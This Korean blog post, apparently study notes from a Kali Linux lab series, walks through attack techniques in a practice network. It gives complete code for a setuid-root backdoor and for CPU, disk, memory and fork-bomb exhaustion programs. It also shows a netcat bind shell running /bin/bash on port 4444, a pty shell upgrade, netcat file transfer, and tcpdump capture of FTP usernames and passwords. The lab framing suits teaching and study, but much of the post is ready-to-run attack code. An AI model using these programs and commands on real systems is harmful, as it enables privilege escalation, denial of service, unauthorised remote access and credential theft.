Kali 9. DoS 공격, netcat, TCPDump

2024. 4. 30. 09:40Linux/KALI

백도어 프로그램 작성

원격에서 각종 공격을 하기 위해

root 권한을 탈취할 수 있는

백도어 프로그램을 작성해보자

 

#vi backdoor.c
---------------------------------------------------------------------------
#include <stdio.h>

main()
{
        setuid(0);
        setgid(0);
        system("/bin/bash");
}
#vi backdoor.c
---------------------------------백도어 작성 후------------------------

# gcc -o backdoor backdoor.c 
# cp backdoor /home/user
# cd /home/user
# chmod 4777 backdoor

# ll
합계 12
-rwsrwxrwx 1 root root 8504  4월 30 09:27 backdoor

이제  ./backdoor 를 일반 사용자 계정인 상태에서 실행하면

root 권한을 자동으로 얻게된다.

다른 PC로 원격 접속 후 시험해보자

 

 

100번 pc에서 접속해봤다.

접속 후에  백도어 프로그램을 실행하자 root 권한이 습득됐다.

원격 접속 후 백도어 프로그램을 실행해보면

root 권한을 획득할 수 있다.

 

 

이제 각종 공격을 알아보자

 

 

 

 

CPU 과부하 공격

CPU 과부하 공격 스크립트를 작성해보자

# vi cpu1.sh

# vi cpu1.sh
------------------------------------------------------------------------------------
#!/bin/sh

START=0
END=1000000000000000

        while [ $START -le $END ]
do
        START=`expr $START + 1 `
done

해당 명령어는 반복문이 무한히 반복되는 스크립트다.

chmod 777 cpu1.sh

cpu1.sh 모든 권한을 부여해주자!

그다음

gnome-system-monitor를 실행하고 시스템 자원을 확인하며

./cpu1.sh 로 실행해보자

CPU 사용량이 급격히 상승하는 것을 볼 수 있다.

 

#vi cpu2.sh
---------------------------------------------------------------------
#!/bin/sh

while true
do
        a=1
done

위 스크립트도 CPU 과부하 스크립트다. 

조금 더 강력하다.

(원격으로 사용하려면 당연히 chmod로 권한을 부여하자..)

 

 

원격 접속 후 백도어로 권한 상승 후

과부하 공격을 실시 했다.

 

 

 

 

디스크 자원 고갈 공격

 

#vi disk.c
---------------------------------------------------------------------------
#include <stdio.h>
#include <sys/file.h>

main ()
{
        int attack;
        char buf[100];
        attack = creat("/root/tempfile",0777);
        while(1) {
                write(attack,buf,sizeof(buf));
        }
}

위 명령어파일을 작성해주자

 

# vi disk.c
---------------------------디스크 과부하 작성 후---------------
# gcc -o disk disk.c
# chmod 777 disk

 

똑같이 컴파일된 disk 파일을 실행시킨뒤 빠르게 종료해주자

# ./disk

잠깐 실행했는데도 용량이  522MB 가까이 생성된 것을 볼 수 있다.

가만히 놔두면 무한히 증가하니 조심하자

 

똑같이 원격 접속후 실행시켜 보자!

실행한 뒤에 똑같이 디스크 고갈 공격이 실행된 것을 볼 수 있다.

 

 

메모리 고갈 공격

#vi memory.c
---------------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>

main()
{
        char *m;
        printf("CTRL+C will terminate memory process.!\n");
        while(1) {
        m=malloc(1000);
        }
}

이번엔 위 명령어로 메모리를 무한히 고갈 시키게 작성했다.

 

#vi memory.c
-------------------------메모리 고갈 작성 후-----------------------------------
#gcc -o memory memory.c
#chmod 777 memory

똑같이 컴파일 및 권한을 부여해주자

그리고 실행 해보자

#./memory

실행하자 얼마 안있어서

급격히 상승한 메모리가 보이고

 죽었다는 메세지 출력과 함께 스크립트 실행이 멈췄다.

 

 

똑같이 원격으로 실행해보자

 

프로세스 과부하

메모리 과부화와 비슷한 방식이 하나 더 있다.

#vi process.c
---------------------------------------------------------------------------
#include <stdio.h>
#include <unistd.h>

main()
{
        while(1)
        fork();
        return 0;
}

위 스크립트를 작성한 후에 똑같이 컴파일 및 권한부여를 진행하고

실행해주자

# vi process.c
--------------------------프로세스 과부하 작성 후----------------
# gcc -o process proccess.c
# chmod 777 process
# ./process

이번엔 실행하자마자 PC가 멈춰버렸다.

강제로 재부팅을 진행 해주자!

 

 

 

 

 

 

 

마지막으로 각 스크립트의 코드만 보고도 어떠한 공격인지 알수 있도록 확인해보자

 

============================================
root 권한 탈취
============================================
        setuid(0);
        setgid(0);
        system("/bin/bash");
        
        
============================================
CPU 과부하1
============================================
        while [ $START -le $END ]
do
        START=`expr $START + 1 `
        
        
============================================
CPU 과부하2
============================================
while true
do
        a=1
done


============================================
디스크 자원 고갈 공격
============================================
        int attack;
        char buf[100];
        attack = creat("/root/tempfile",0777);
        while(1) {
                write(attack,buf,sizeof(buf));
                
                
============================================
메모리 고갈 공격
============================================
        char *m;
        printf("CTRL+C will terminate memory process.!\n");
        while(1) {
        m=malloc(1000);
        
        
============================================
프로세스 과부하 공격
============================================
        while(1)
        fork();
        return 0;

 

 

 

 

 

netcat

 

netcat을 이용하면

상대 시스템에 연결할 수 있는데 나쁘게 말하자면 침투인 것이다.

기본적으로 설치된 프로그램이다.

 

nc 명령어로 사용하며 

 

옵션에는

-e : 실행
-l : listen(포트 개방 후 대기)
-p : 포트 지정

 

 

또한 netcat의 접속 방향에 따라 다르게 지칭한다.

 

Bind TCP : 공격자가 공격 대상으로 접근 공격자 --> 공격 대상
Reverse TCP : 공격 대상자가 공격자로 접근 공격대상 --> 공격자

 

<공격 대상자(CentOS7)>

# nc -e /bin/bash -l -p 4444

<공격자(Kali)>

# nc 192.168.20.50 4444

nc 명령어로 공격 대상자의 4444포트를 열어둔채 대기하고

접속시 /bin/bash를 실행한다.

nc 명령어로 공격대상에 연결/침투 해보자

평소에 보던 쉘과 다르지만 명령어 실행은 잘 되는 것을 볼 수 있다!

 

연결 중에는 netstat -tuna 명령어로 

접속한 사용자 IP를 확인할 수 있다.

 

다시 칼리에서 실행중인 netcat을

Ctrl + C 로 접속을 종료해보자

그럼 공격대상자 nc 명령어도 종료되는 것을 볼 수 있다.

TCP 세션이기 때문!

공격자, 대상자 를 바꿔서 실습해보자!

 

윈도우에서도 netcat을 설치해서 시도해볼 수 있다.

https://eternallybored.org/misc/netcat/

 

netcat 1.11 for Win32/Win64

 

eternallybored.org

다운로드시 방화벽에 의해서 차단될 수 있다.

다운로드 후 C:\ 밑에 파일을 압축을 해제 시켜준 뒤에

PATH 환경 변수에 netcat의 경로를 추가 해주자

Bind TCP에 성공했다.

Reverse TCP도 정상적으로 작동한다.

접속시 연결이 성립된 것도 확인하자!

 

 

콘솔 창 불러오기

 

만약 netcat 접속시 콘솔창이 기존과 달라서 불편하다면

python -c 'import pty;pty.spawn("/bin/bash")'

위 명령어를 입력해보자

실제 Kali에서 이용하는 것처럼 표시되고 있다!

 

 

파일 전송

 

nc를 이용해 파일 전송도 가능하다

echo "Welcome to Info Security" > file7.txt

먼저 송신할 쪽의 파일을 먼저 생성해주자

# nc -l 5555 > file77.txt

그런 다음 수신측( 50번 서버 )에서

5555 포트를 열어두고 들어오는 파일을 file77.txt 로 받아주게 설정하자

# nc 192.168.20.50 5555 < file7.txt

그런 다음 수신측(100번 서버)에서 리다이렉션 기호를 사용해 전송해주자

그리고 송신측 (50번 서버)에서 확인해보면 잘 다운로드 된 것을 볼 수 있다!

 

채팅

 

nc 접속 및 대기시에 실행 쉘을 정해주지 않으면 채팅이 가능하다!

각 서버 ( 50번, 100번)을 -e 옵션 없이 연결해보자!

그럼 채팅을 입력할때마다 자동적으로 서로에게 동기화 되며

채팅처럼 이용할 수 있다!!

 

 

 

TCPDump

주어진 옵션에 따라 네트워크를 거치는

TCP 프로토콜들의 로그를 남겨주는 명령어다.

 

# tcpdump -w tcpdump2.log -s 1500 tcp port 21

---------------새 터미널------------------------
# fpt 192.168.20.50  접속~ 로그인

로그 파일이 tcpdump2.log 로 저장됐으나 cat 명령어로 

확인하면 깨진 상태로 출력된다.

# tcpdump -Xqnr tcpdump2.log

위의 TCPDump 명령어 옵션으로 로그 파일을 확인하면 정상 출력된다.

내용을 확인해보면 User name, Password 모두 확인 가능하다.

와이어 샤크로 해당 로그 파일로 확인 가능화다

follow 옵션을 사용하면 직관적으로 확인된다.

리눅스는 ftp 사용시 접속자의 IP와 포트가  자동으로 숨겨진다.

하지만 윈도우는 자동으로 숨겨지지 않으니 확인해보자

 

 

# tcpdump -w tcpdump5.log -s 1500 tcp port 21

------------------윈도우----------------------

C:\Windows\system32>ftp 192.168.20.50

ftp 접속 후 반드시 명령어 하나이상 입력해주자(데이터를 주고 받아야 포트 정보가남는다)
Kali tcpdump 기록 종료하기 (FTP는 종료X)

 

그리고

로그 파일을 와이어 샤크로 열어보자

리눅스에서와는 다르게 PORT 부분에 IP와 숫자 두가지가 더 보인다!

PORT 192,168,20,203,197,68

192,168,20,203은 IP 주소지만

 

197, 68은 무엇일까??

 

이것은 포트 번호인데 계산법이 존재한다

X,Y 가 있다면

X*256+Y=  클라이언트 측 전송 포트

계산법에 따르면 50500 이란 값이 나온다.

 

 

아직 FTP 접속이 유효하니 netstat 명령어로 포트를 확인하자!

21 : 제어 포트는 -1 값인 50499

20 : 전송 포트는 50500으로 

출력되는 것을 볼수  있다!

윈도우에서 확인한 제어포트도 똑같은 것을 확인할 수 있다!

'Linux > KALI' 카테고리의 다른 글

Kali 10. 침투 공격  (1) 2024.06.12
Kali 8. Snort 침입탐지  (0) 2024.04.29
Kali 3. 정보 수집  (0) 2024.04.23
Kali 2. 한글 입력기 설치  (0) 2024.04.22
Kali 1. Kali Linux 설치  (0) 2024.03.04